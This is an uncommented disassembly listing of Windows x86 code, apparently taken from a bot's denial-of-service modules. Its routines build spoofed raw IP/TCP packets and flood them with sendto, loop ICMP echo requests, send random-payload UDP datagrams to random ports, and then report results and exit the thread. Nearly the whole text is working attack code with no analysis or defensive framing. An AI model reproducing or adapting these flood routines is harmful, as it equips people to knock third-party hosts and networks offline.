var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CDE60	; WSAStartup
		test	eax, eax
		jz	short loc_411908
		xor	eax, eax
		jmp	loc_411BD1
; ---------------------------------------------------------------------------


loc_411908:				; CODE XREF: sub_4118C8+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CDF84	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_411BC9
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CDEC4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_411BBF
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CDEE4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CDEE4	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CDEE4	; htons
		mov	[ebp+var_12], ax
		call	sub_418642
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CDEE4	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CDEE0	; htonl
		push	offset dword_439460
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4119D8
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_411A2C
; ---------------------------------------------------------------------------


loc_4119D8:				; CODE XREF: sub_4118C8+105j
		push	offset dword_439454
		push	[ebp+arg_8]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4119F4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_411A2C
; ---------------------------------------------------------------------------


loc_4119F4:				; CODE XREF: sub_4118C8+121j
		push	offset dword_439448
		push	[ebp+arg_8]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411A2C
		call	sub_418642
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_418642
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_411A2C:				; CODE XREF: sub_4118C8+10Ej
					; sub_4118C8+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CDEE4	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_424134	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_424130	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41A010
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_411A7A:				; CODE XREF: sub_4118C8+2E2j
					; sub_4118C8+2EEj
		mov	[ebp+var_4], bx
		call	sub_418642
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CDEE4	; htons
		mov	[ebp+var_14], ax
		call	sub_418642
		mov	edi, eax
		shl	edi, 10h
		call	sub_418642
		or	edi, eax
		push	edi
		call	dword_4CDEE4	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CDEE0	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CDEE4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_409CD4
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_419070
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_409CD4
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_419070
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CDF44	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411BD5
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_424130	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_411BBC
		jl	loc_411A7A
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jb	loc_411A7A


loc_411BBC:				; CODE XREF: sub_4118C8+2E0j
		mov	ebx, [ebp+arg_8]


loc_411BBF:				; CODE XREF: sub_4118C8+78j
					; sub_4118C8+334j
		push	[ebp+var_20]
		call	dword_4CDF78	; closesocket
		pop	esi


loc_411BC9:				; CODE XREF: sub_4118C8+5Bj
		call	dword_4CDE48	; WSACleanup
		mov	eax, ebx


loc_411BD1:				; CODE XREF: sub_4118C8+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411BD5:				; CODE XREF: sub_4118C8+2CBj
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43942C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_413F3A
		add	esp, 10h
		jmp	short loc_411BBF
sub_4118C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_411BFE	proc near		; CODE XREF: sub_411816+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409B6B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_4184D9
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_4184D9
		mov	edi, eax
		call	sub_418642
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4118C8
		add	esp, 20h
		test	eax, eax
		jnz	short loc_411C4B
		inc	eax


loc_411C4B:				; CODE XREF: sub_411BFE+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_411BFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C5A	proc near		; DATA XREF: sub_401AA1+5E56o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		push	0FFh
		inc	ebx
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4CDF60	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_411CF5
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_439554
		push	eax
		call	sub_4185E6
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_411CD8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408BC1
		add	esp, 14h


loc_411CD8:				; CODE XREF: sub_411C5A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413F3A
		push	[ebp+var_38]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_411CF5:				; CODE XREF: sub_411C5A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4CDEC4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411D6C
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_439524
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_411D4F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408BC1
		add	esp, 14h


loc_411D4F:				; CODE XREF: sub_411C5A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413F3A
		push	[ebp+var_38]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_411D6C:				; CODE XREF: sub_411C5A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411DD3
		lea	eax, [ebp+var_3BC]
		push	offset unk_439504
		push	eax
		call	sub_4185E6
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_411DB6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408BC1
		add	esp, 14h


loc_411DB6:				; CODE XREF: sub_411C5A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413F3A
		push	[ebp+var_38]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_411DD3:				; CODE XREF: sub_411C5A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4CDEE4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	esi, dword_4240A8
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		jmp	loc_411F34
; ---------------------------------------------------------------------------


loc_411E16:				; CODE XREF: sub_411C5A+2EBj
		push	41Ch
		mov	byte_4D0C28, 45h
		call	dword_4CDEE4	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4D0C2A, ax
		mov	word_4D0C2C, bx
		mov	word_4D0C2E, di
		mov	byte_4D0C30, 80h
		mov	byte_4D0C31, bl
		mov	word_4D0C32, di
		jz	short loc_411E85
		call	sub_418642
		mov	ebx, eax
		shl	ebx, 8
		call	sub_418642
		add	ebx, eax
		shl	ebx, 8
		call	sub_418642
		add	ebx, eax
		shl	ebx, 8
		call	sub_418642
		add	ebx, eax
		mov	dword_4D0C34, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_411E9D
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: sub_411C5A+1F9j
		push	[ebp+var_1BC]
		call	sub_409C7B
		pop	ecx
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	dword_4D0C34, eax


loc_411E9D:				; CODE XREF: sub_411C5A+229j
		mov	eax, [ebp+var_18]
		mov	dword_4D0C38, eax
		call	sub_418642
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D0C3C, dl
		call	sub_418642
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D0C3D, dl
		call	sub_418642
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4D0C3E, di
		mov	word_4D0C42, bx
		inc	edx
		mov	word_4D0C40, dx
		call	sub_418642
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4D0C44
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4D0C28
		push	[ebp+var_4]
		call	dword_4CDF44	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_411FD0
		inc	[ebp+arg_0]


loc_411F34:				; CODE XREF: sub_411C5A+1B7j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_411E16
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4394B8
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_411FB3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408BC1
		add	esp, 14h


loc_411FB3:				; CODE XREF: sub_411C5A+337j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413F3A
		push	[ebp+var_38]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_411FD0:				; CODE XREF: sub_411C5A+2D1j
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_439470
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_4186E0
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_412028
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408BC1
		add	esp, 14h


loc_412028:				; CODE XREF: sub_411C5A+3ACj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413F3A
		push	[ebp+var_38]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread
sub_411C5A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412045	proc near		; DATA XREF: sub_401AA1+4C48o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_418880
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_4CDE74	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4120A0
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CDF64	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4120A6


loc_4120A0:				; CODE XREF: sub_412045+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_412103


loc_4120A6:				; CODE XREF: sub_412045+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4395AC
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4120E6
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408BC1
		add	esp, 14h


loc_4120E6:				; CODE XREF: sub_412045+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_413F3A
		push	[ebp+var_30]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_412103:				; CODE XREF: sub_412045+5Fj
		cmp	eax, ebx
		jz	short loc_412113
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_412116
; ---------------------------------------------------------------------------


loc_412113:				; CODE XREF: sub_412045+C0j
		mov	[ebp+var_4], esi


loc_412116:				; CODE XREF: sub_412045+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_4182F0
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_412136
		mov	[ebp+var_3C], eax


loc_412136:				; CODE XREF: sub_412045+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_41213E
		mov	[ebp+var_38], edi


loc_41213E:				; CODE XREF: sub_412045+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_41216B


loc_412145:				; CODE XREF: sub_412045+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4CDE0C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_412145


loc_41216B:				; CODE XREF: sub_412045+FEj
		push	[ebp+arg_0]
		call	dword_4CDF94	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_439580
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4121B4
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408BC1
		add	esp, 14h


loc_4121B4:				; CODE XREF: sub_412045+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_413F3A
		push	[ebp+var_30]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread
sub_412045	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4121D1	proc near		; DATA XREF: sub_401AA1+4E9Eo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_418880
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4CDF60	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_4122B6
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4CDF64	; gethostbyname
		cmp	eax, edi
		jnz	short loc_4122AF
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_439600
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_412292
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408BC1
		add	esp, 14h


loc_412292:				; CODE XREF: sub_4121D1+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_413F3A
		push	[ebp+var_20]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread


loc_4122AF:				; CODE XREF: sub_4121D1+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_4122B9
; ---------------------------------------------------------------------------


loc_4122B6:				; CODE XREF: sub_4121D1+6Ej
		lea	eax, [ebp+arg_0]


loc_4122B9:				; CODE XREF: sub_4121D1+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_4122D4
		call	sub_418642
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_4122D7
; ---------------------------------------------------------------------------


loc_4122D4:				; CODE XREF: sub_4121D1+F0j
		push	[ebp+var_24]


loc_4122D7:				; CODE XREF: sub_4121D1+101j
		call	dword_4CDEE4	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_4122E9
		mov	[ebp+var_24], esi


loc_4122E9:				; CODE XREF: sub_4121D1+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_4122F6
		mov	[ebp+var_24], eax


loc_4122F6:				; CODE XREF: sub_4121D1+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_41230A
		mov	[ebp+var_28], esi


loc_41230A:				; CODE XREF: sub_4121D1+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_412383


loc_412311:				; CODE XREF: sub_4121D1+158j
		call	sub_418642
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_412311
		jmp	short loc_412383
; ---------------------------------------------------------------------------


loc_41232D:				; CODE XREF: sub_4121D1+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi


loc_412333:				; CODE XREF: sub_4121D1+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_418642
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4CDF44	; sendto
		push	[ebp+var_28]
		call	dword_424078	; Sleep
		dec	esi
		jnz	short loc_412333
		cmp	[ebp+var_24], edi
		jnz	short loc_412383
		call	sub_418642
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4CDEE4	; htons
		mov	[ebp+var_E], ax


loc_412383:				; CODE XREF: sub_4121D1+13Ej
					; sub_4121D1+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_41232D
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_4395D4
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4123CB
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408BC1
		add	esp, 14h


loc_4123CB:				; CODE XREF: sub_4121D1+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_413F3A
		push	[ebp+var_20]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread
sub_4121D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123E8	proc near		; DATA XREF: sub_401AA1+4530o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_41253E
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_439628
		push	eax
		call	sub_4185E6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_412465
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408BC1
		add	esp, 14h


loc_412465:				; CODE XREF: sub_4123E8+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413F3A
		push	[ebp+var_10]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_4123E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412484	proc near		; CODE XREF: sub_41253E+27p

var_654		= dword	ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CDEE4	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41253A
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


